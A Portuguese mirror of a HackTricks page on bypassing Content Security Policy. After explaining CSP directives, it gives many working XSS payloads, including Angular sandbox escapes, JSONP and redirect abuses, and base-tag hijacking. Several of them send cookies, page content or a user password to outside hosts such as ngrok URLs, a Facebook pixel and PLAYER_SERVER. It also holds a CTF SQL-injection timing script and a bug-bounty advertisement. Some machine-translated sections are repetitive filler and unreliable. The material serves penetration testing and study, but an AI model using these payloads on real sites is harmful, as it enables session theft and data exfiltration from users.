Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-28 15:41:34 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

52 KiB
Raw Blame History

Bypassando a Política de Segurança de Conteúdo (CSP)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento da recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se uma lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

O que é CSP

Content Security Policy ou CSP é uma tecnologia integrada ao navegador que ajuda a proteger contra ataques como cross-site scripting (XSS). Ele lista e descreve caminhos e fontes a partir das quais o navegador pode carregar com segurança recursos. Os recursos podem incluir imagens, frames, javascript e muito mais. Aqui está um exemplo de recursos permitidos a serem carregados e executados em linha a partir do domínio local (self) e permitir funções de execução de código em string como eval, setTimeout ou setInterval:

A Política de Segurança de Conteúdo é implementada por meio de cabeçalhos de resposta ou elementos meta da página HTML. O navegador segue a política recebida e bloqueia ativamente violações à medida que são detectadas.

Implementado via cabeçalho de resposta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implementado via meta tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Cabeçalhos

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only Este não bloqueará nada, apenas enviará relatórios (usar em ambiente de pré-produção).

Definindo recursos

CSP funciona restringindo as origens de onde o conteúdo ativo e passivo pode ser carregado. Ele também pode restringir certos aspectos do conteúdo ativo, como a execução de javascript inline e o uso de eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Diretivas

  • script-src: Esta diretiva especifica as fontes permitidas para JavaScript. Isso inclui não apenas URLs carregados diretamente em elementos, mas também coisas como manipuladores de eventos de script inline (onclick) e folhas de estilo XSLT que podem acionar a execução de script.
  • default-src: Esta diretiva define a política para buscar recursos por padrão. Quando as diretivas de busca estão ausentes no cabeçalho CSP, o navegador segue esta diretiva por padrão.
  • Child-src: Esta diretiva define os recursos permitidos para web workers e conteúdos de frames incorporados.
  • connect-src: Esta diretiva restringe URLs para carregar usando interfaces como fetch, websocket, XMLHttpRequest.
  • frame-src: Esta diretiva restringe URLs para frames que podem ser chamados.
  • frame-ancestors: Esta diretiva especifica as fontes que podem incorporar a página atual. Esta diretiva se aplica a <frame>, <iframe>, <object>, <embed> ou <applet>. Esta diretiva não pode ser usada em tags e se aplica apenas a recursos não HTML.
  • img-src: Define as fontes permitidas para carregar imagens na página da web.
  • font-src: A diretiva especifica as fontes válidas para fontes carregadas usando @font-face.
  • manifest-src: Esta diretiva define as fontes permitidas para arquivos de manifesto de aplicativo.
  • media-src: Define as fontes permitidas de onde objetos de mídia podem ser carregados.
  • object-src: Define as fontes permitidas para os elementos <object>, <embed> e <applet>.
  • base-uri: Define as URLs permitidas que podem ser carregadas usando um elemento.
  • form-action: Esta diretiva lista os pontos finais válidos para envio de tags.
  • plugin-types: Define limites nos tipos de mime que uma página pode invocar.
  • upgrade-insecure-requests: Esta diretiva instrui os navegadores a reescrever os esquemas de URL, alterando HTTP para HTTPS. Essa diretiva pode ser útil para sites com um grande número de URLs antigas que precisam ser reescritas.
  • sandbox: A diretiva sandbox permite um ambiente restrito para o recurso solicitado, semelhante ao atributo sandbox. Ela aplica restrições às ações de uma página, incluindo a prevenção de pop-ups, a prevenção da execução de plugins e scripts e a aplicação de uma política de mesma origem.

Fontes

  • *: Isso permite qualquer URL, exceto os esquemas data:, blob: e filesystem:.
  • self: Essa fonte define que o carregamento de recursos na página é permitido a partir do mesmo domínio.
  • data: Essa fonte permite o carregamento de recursos por meio do esquema de dados (por exemplo, imagens codificadas em Base64).
  • none: Essa diretiva não permite o carregamento de nada de nenhuma fonte.
  • unsafe-eval: Isso permite o uso de eval() e métodos semelhantes para criar código a partir de strings. Essa não é uma prática segura incluir essa fonte em nenhuma diretiva. Por esse motivo, ela é chamada de insegura.
  • unsafe-hashes: Isso permite a ativação de manipuladores de eventos inline específicos.
  • unsafe-inline: Isso permite o uso de recursos inline, como elementos inline, URLs javascript: inline, manipuladores de eventos inline e elementos inline. Novamente, isso não é recomendado por motivos de segurança.
  • nonce: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado apenas uma vez). O servidor deve gerar um valor de nonce exclusivo cada vez que transmite uma política.
  • sha256-<hash>: Lista branca de scripts com um hash sha256 específico.
  • strict-dynamic: Permite que o navegador carregue e execute novas tags JavaScript no DOM de qualquer fonte de script que tenha sido previamente listada em um valor "nonce" ou "hash".
  • host: Indica um host, como example.com

Regras CSP Inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Carga de trabalho funcional: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga de trabalho funcional:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se você de alguma forma conseguir fazer com que um código JS permitido crie uma nova tag de script no DOM com seu código JS, porque um script permitido está criando isso, a nova tag de script será permitida a ser executada.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga de trabalho funcional:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src e default-src

{% hint style="danger" %} Parece que isso não está mais funcionando {% endhint %}

Content-Security-Policy: script-src 'self' ;

Cargas de trabalho funcionais:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Upload de Arquivo + 'self'

Descrição

A política de segurança de conteúdo (Content Security Policy - CSP) é uma medida de segurança implementada pelos navegadores para mitigar ataques de injeção de código, como cross-site scripting (XSS) e injetar código malicioso em um site. A CSP permite que os desenvolvedores especifiquem quais fontes de conteúdo são consideradas seguras e quais não são permitidas.

No entanto, em alguns casos, é possível contornar a CSP e fazer o upload de arquivos maliciosos para um site. Isso pode ser feito aproveitando a diretiva 'self' da CSP, que permite que o site carregue recursos apenas de seu próprio domínio.

Como funciona

Quando uma CSP é implementada com a diretiva 'self', o navegador só permite que o site carregue recursos (como scripts, estilos e imagens) do próprio domínio. Isso é útil para evitar que recursos externos não confiáveis sejam carregados e executados no contexto do site.

No entanto, se o site permitir o upload de arquivos, é possível contornar a CSP enviando um arquivo malicioso que contenha código JavaScript. Quando o arquivo é carregado no site, o código JavaScript é executado no contexto do domínio do site, permitindo que um atacante execute código arbitrário.

Exemplo de bypass

Considere um site que permite o upload de imagens e possui a seguinte CSP:

Content-Security-Policy: default-src 'self'

Nesse caso, apenas recursos do próprio domínio são permitidos. No entanto, se um arquivo de imagem malicioso contendo código JavaScript for enviado para o site, o código será executado no contexto do domínio do site, ignorando a CSP.

Mitigação

Para mitigar esse tipo de bypass da CSP, é importante implementar uma validação adequada dos arquivos enviados pelos usuários. Isso pode incluir a verificação do tipo de arquivo, a análise de metadados e a execução de scanners de segurança para detectar possíveis ameaças.

Além disso, é recomendável adicionar uma camada adicional de segurança, como a análise de conteúdo em tempo real, para identificar e bloquear arquivos maliciosos antes que eles sejam carregados no site.

Conclusão

Embora a CSP seja uma medida de segurança eficaz para proteger contra ataques de injeção de código, é importante estar ciente dos possíveis bypasses e implementar as devidas mitigação para garantir a segurança do site. O upload de arquivos é uma área especialmente vulnerável, e os desenvolvedores devem tomar precauções extras ao permitir que os usuários enviem arquivos para seus sites.

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se você pode fazer upload de um arquivo JS, você pode contornar essa CSP:

Payload funcional:

"/>'><script src="/uploads/picture.png.js"></script>

No entanto, é altamente provável que o servidor esteja validando o arquivo enviado e só permitirá que você envie um tipo específico de arquivo.

Além disso, mesmo que você consiga enviar um código JS dentro de um arquivo usando uma extensão aceita pelo servidor (como: script.png), isso não será suficiente, pois alguns servidores como o servidor Apache selecionam o tipo MIME do arquivo com base na extensão e navegadores como o Chrome recusarão executar código Javascript dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que o Apache não reconhece a extensão .wave, portanto, não a serve com um tipo MIME como audio/*.

A partir daqui, se você encontrar um XSS e um upload de arquivo e conseguir encontrar uma extensão interpretada erroneamente, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota (alguns exemplos de poliglotas aqui).

Pontos de Extremidade de Terceiros + ('unsafe-eval')

{% hint style="warning" %} Para alguns dos payloads a seguir, unsafe-eval nem é necessário. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carregue uma versão vulnerável do Angular e execute JS arbitrário:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Cargas úteis usando Angular + uma biblioteca com funções que retornam o objeto window (confira esta postagem):

{% hint style="info" %} A postagem mostra que você pode carregar todas as bibliotecas de cdn.cloudflare.com (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar quais funções de quais bibliotecas retornam o objeto window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Explorando o código JS do Google reCAPTCHA

De acordo com este relatório de CTF, é possível explorar o https://www.google.com/recaptcha/ dentro de uma CSP para executar código JS arbitrário, burlando a CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Pontos de Terceiros + JSONP

Introdução

Quando um site implementa uma Política de Segurança de Conteúdo (CSP), ele geralmente restringe quais recursos externos podem ser carregados. Isso é feito para mitigar ataques de injetar código malicioso em um site por meio de recursos externos não confiáveis.

No entanto, em alguns casos, é possível contornar a CSP usando pontos de terceiros e JSONP (JSON with Padding). JSONP é uma técnica que permite solicitar recursos de um domínio diferente, contornando a política de mesma origem.

Como funciona o JSONP?

O JSONP funciona injetando um script no documento HTML que faz uma solicitação para um ponto de terceiros. O servidor do ponto de terceiros retorna uma resposta que é encapsulada em uma função JavaScript definida pelo cliente. Essa função é então executada no contexto do documento HTML, permitindo que os dados sejam acessados.

Bypassing CSP com JSONP

Ao usar JSONP, é possível contornar a CSP, pois a política de mesma origem não se aplica a solicitações feitas por meio de scripts. Isso significa que, mesmo que a CSP restrinja o carregamento de recursos externos, é possível fazer solicitações para pontos de terceiros usando JSONP.

Para explorar essa vulnerabilidade, um atacante pode criar um ponto de terceiros malicioso que retorna dados sensíveis. Em seguida, eles podem injetar um script no site alvo que faz uma solicitação para o ponto de terceiros malicioso usando JSONP. Dessa forma, o atacante pode contornar a CSP e obter acesso aos dados sensíveis.

Mitigação

Para mitigar esse tipo de ataque, é importante implementar uma CSP adequada que restrinja o uso de JSONP e pontos de terceiros. Além disso, é recomendável evitar o uso de JSONP sempre que possível, pois essa técnica pode introduzir vulnerabilidades de segurança.

Conclusão

Embora a CSP seja uma medida eficaz para proteger um site contra ataques de injeção de código, é importante estar ciente das possíveis vulnerabilidades que podem surgir ao usar pontos de terceiros e JSONP. Ao implementar uma CSP adequada e evitar o uso de JSONP, é possível reduzir significativamente o risco de contornar a política de segurança de conteúdo.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Cenários como este, onde script-src é definido como self e um domínio específico que está na lista de permissões, podem ser contornados usando JSONP. Os pontos de extremidade JSONP permitem métodos de retorno de chamada inseguros, o que permite que um atacante execute XSS. Payload de trabalho:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contém pontos de extremidade JSONP prontos para uso para contornar a CSP de diferentes sites.

A mesma vulnerabilidade ocorrerá se o ponto de extremidade confiável contiver um redirecionamento aberto, porque se o ponto de extremidade inicial for confiável, os redirecionamentos também serão confiáveis.

Abusos de Terceiros

Conforme descrito no post seguinte, existem muitos domínios de terceiros que podem ser permitidos em algum lugar na CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:

Entidade Domínio Permitido Capacidades
Facebook www.facebook.com, *.facebook.com Exfil
Hotjar *.hotjar.com, ask.hotjar.io Exfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Exec
Amazon CloudFront *.cloudfront.net Exfil, Exec
Amazon AWS *.amazonaws.com Exfil, Exec
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Exfil, Exec
Salesforce Heroku *.herokuapp.com Exfil, Exec
Google Firebase *.firebaseapp.com Exfil, Exec

Se você encontrar algum dos domínios permitidos na CSP do seu alvo, há chances de que você possa contornar a CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.

Por exemplo, se você encontrar a seguinte CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Bypassando a Política de Segurança de Conteúdo (CSP)

A Política de Segurança de Conteúdo (CSP) é uma camada adicional de segurança implementada pelos navegadores para proteger os usuários contra ataques de injeção de código, como XSS (Cross-Site Scripting). No entanto, existem técnicas que podem ser usadas para contornar essa política e explorar vulnerabilidades em um aplicativo da web.

Introdução

A CSP permite que os desenvolvedores restrinjam quais recursos externos (como scripts, estilos e imagens) podem ser carregados em uma página da web. Isso é feito por meio de uma política de segurança definida no cabeçalho HTTP Content-Security-Policy. No entanto, se essa política não for configurada corretamente, um invasor pode encontrar maneiras de contorná-la e executar código malicioso no contexto do aplicativo da web.

Bypassando a CSP

Existem várias técnicas que podem ser usadas para contornar a CSP e explorar vulnerabilidades em um aplicativo da web. Algumas dessas técnicas incluem:

1. Inline Script Execution

Se a CSP permitir a execução de scripts inline, um invasor pode explorar essa permissão injetando código malicioso diretamente no HTML da página. Isso pode ser feito usando técnicas como XSS ou manipulação de eventos.

Exemplo:

<script>
    alert('Código malicioso executado!');
</script>

2. Data URI

Os Data URIs permitem que os dados sejam incorporados diretamente em uma URL. Se a CSP permitir o uso de Data URIs, um invasor pode explorar essa permissão injetando código malicioso em uma imagem ou outro recurso externo.

Exemplo:

<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgdmlld0JveD0iMCAwIDEwIDEwIj4KICA8Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI1MCIgc3R5bGU9ImZpbGw6cmVkOyIgLz4KPC9zdmc+Cg==" alt="Imagem maliciosa">

3. External Resource Injection

Se a CSP permitir a inclusão de recursos externos, um invasor pode explorar essa permissão injetando um link para um recurso malicioso. Isso pode ser feito, por exemplo, através da inclusão de um script externo hospedado em um servidor controlado pelo invasor.

Exemplo:

<script src="http://www.exemplo.com/script-malicioso.js"></script>

Conclusão

A CSP é uma medida de segurança importante para proteger os aplicativos da web contra ataques de injeção de código. No entanto, é essencial configurá-la corretamente para evitar possíveis contornos e vulnerabilidades. Os desenvolvedores devem estar cientes das técnicas de contorno da CSP e implementar as melhores práticas de segurança para garantir a proteção adequada de seus aplicativos.

Content-Security-Policy​: connect-src www.facebook.com;​

Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com o Google Analytics/Google Tag Manager. Neste caso, siga estas etapas gerais:

  1. Crie uma conta de desenvolvedor no Facebook aqui.
  2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
  3. Vá para "Configurações -> Básico" e obtenha seu "ID do aplicativo".
  4. No site alvo do qual você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do SDK do Facebook por meio de um "customEvent" e a carga de dados.
  5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[id-do-aplicativo]/test_events).
  6. Selecione a guia "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".

Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte a postagem anterior para obter explicações adicionais sobre outros abusos de terceiros.

Bypass via RPO (Sobrescrita de Caminho Relativo)

Além da redireção mencionada anteriormente para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.

Por exemplo, se o CSP permite o caminho https://example.com/scripts/react/, ele pode ser contornado da seguinte forma:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

O navegador acabará carregando https://example.com/scripts/angular/angular.js.

Isso funciona porque, para o navegador, você está carregando um arquivo chamado ..%2fangular%2fangular.js localizado em https://example.com/scripts/react/, o que está em conformidade com a CSP.

No entanto, para certos servidores, ao receber a solicitação, eles irão decodificá-la, efetivamente solicitando https://example.com/scripts/react/../angular/angular.js, o que é equivalente a https://example.com/scripts/angular/angular.js.

Ao explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas.

A solução é não tratar %2f como / no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.

Exemplo online: https://jsbin.com/werevijewa/edit?html,output

Execução de JS em iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri ausente

Se a diretiva base-uri estiver ausente, você pode abusar dela para realizar uma injeção de marcação pendente.

Além disso, se a página estiver carregando um script usando um caminho relativo (como <script src="/js/app.js">) usando um Nonce, você pode abusar da tag base para fazer com que ele carregue o script do seu próprio servidor, alcançando um XSS.
Se a página vulnerável for carregada com httpS, use um URL httpS na base.

<base href="https://www.attacker.com/">

Eventos do AngularJS

Dependendo da política específica, o CSP bloqueará eventos JavaScript. No entanto, o AngularJS define seus próprios eventos que podem ser usados em vez disso. Quando dentro de um evento, o AngularJS define um objeto especial $event, que simplesmente faz referência ao objeto de evento do navegador. Você pode usar esse objeto para realizar uma bypass no CSP. No Chrome, há uma propriedade especial no objeto $event/event chamada path. Essa propriedade contém uma matriz de objetos que fazem com que o evento seja executado. A última propriedade é sempre o objeto window, que podemos usar para realizar uma fuga de sandbox. Passando essa matriz para o filtro orderBy, podemos enumerar a matriz e usar o último elemento (o objeto window) para executar uma função global, como alert(). O código a seguir demonstra isso:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Encontre outras formas de bypass Angular em https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e domínio na lista de permissões

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Se a aplicação estiver usando angular JS e os scripts forem carregados de um domínio permitido, é possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível repositório no git.

Cargas úteis funcionais:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Outros pontos de execução arbitrários JSONP podem ser encontrados aqui (alguns deles foram excluídos ou corrigidos)

Bypass via Redirecionamento

O que acontece quando o CSP encontra um redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ele ainda falhará.

No entanto, de acordo com a descrição em CSP spec 4.2.2.3. Paths and Redirects, se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.

Aqui está um exemplo:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se CSP estiver definido como https://www.google.com/a/b/c/d, uma vez que o caminho é considerado, tanto os scripts /test quanto /a/test serão bloqueados pelo CSP.

No entanto, o http://localhost:5555/301 final será redirecionado no lado do servidor para https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Como se trata de um redirecionamento, o caminho não é considerado e o script pode ser carregado, assim, contornando a restrição de caminho.

Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.

Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.

Contornando CSP com marcação pendente

Leia como aqui.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que você pode executar qualquer script dentro do código (XSS pode executar código) e img-src * significa que você pode usar na página qualquer imagem de qualquer recurso.

Você pode contornar essa CSP exfiltrando os dados por meio de imagens (nessa ocasião, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a bandeira por meio de uma imagem):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

De: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Você também pode abusar dessa configuração para carregar código JavaScript inserido dentro de uma imagem. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você pode criar uma imagem especial, enviá-la para o Twitter e abusar do "unsafe-inline" para executar um código JS (como um XSS regular) que irá carregar a imagem, extrair o JS dela e executá-lo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Com Service Workers

A função importScripts dos service workers não é limitada pelo CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Injeção de Política

Pesquisa: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se um parâmetro enviado por você está sendo colado dentro da declaração da política, então você pode alterar a política de alguma forma que a torne inútil. Você pode permitir script 'unsafe-inline' com qualquer um desses bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque essa diretiva irá sobrescrever as diretivas script-src existentes.
Você pode encontrar um exemplo aqui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

No Edge é muito mais simples. Se você puder adicionar no CSP apenas isso: ;_ o Edge irá descartar toda a política.
Exemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Ataque de tempo

Observe a falta da diretiva 'unsafe-inline'
Desta vez, você pode fazer a vítima carregar uma página sob seu controle via XSS com um <iframe>. Desta vez, você fará com que a vítima acesse a página de onde deseja extrair informações (CSRF). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder controlar o tempo que a página precisa para carregar, poderá extrair as informações necessárias.

Desta vez, uma flag será extraída, sempre que um caractere for adivinhado corretamente através de SQLi, a resposta levará mais tempo devido à função de sleep. Em seguida, você poderá extrair a flag:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Esse ataque implicaria em alguma engenharia social onde o atacante convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador. Esse bookmarklet conteria código javascript malicioso que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, burlando a CSP e permitindo roubar informações sensíveis como cookies ou tokens.

Para mais informações, verifique o relatório original aqui.

Bypassando CSP restringindo CSP

Neste writeup do CTF, a CSP é burlada injetando dentro de um iframe permitido uma CSP mais restritiva que impedia o carregamento de um arquivo JS específico que, em seguida, por meio de poluição de protótipo ou dom clobbering, permitia abusar de um script diferente para carregar um script arbitrário.

Você pode restringir uma CSP de um Iframe com o atributo csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

Neste writeup do CTF, foi possível, através de injeção de HTML, restringir ainda mais um CSP, desabilitando um script que impedia CSTI e, portanto, tornando a vulnerabilidade explorável.
CSP pode ser tornada mais restritiva usando meta tags HTML e scripts inline podem ser desabilitados removendo a entrada que permite seu nonce e habilitando scripts inline específicos via sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Exfiltração de JS com Content-Security-Policy-Report-Only

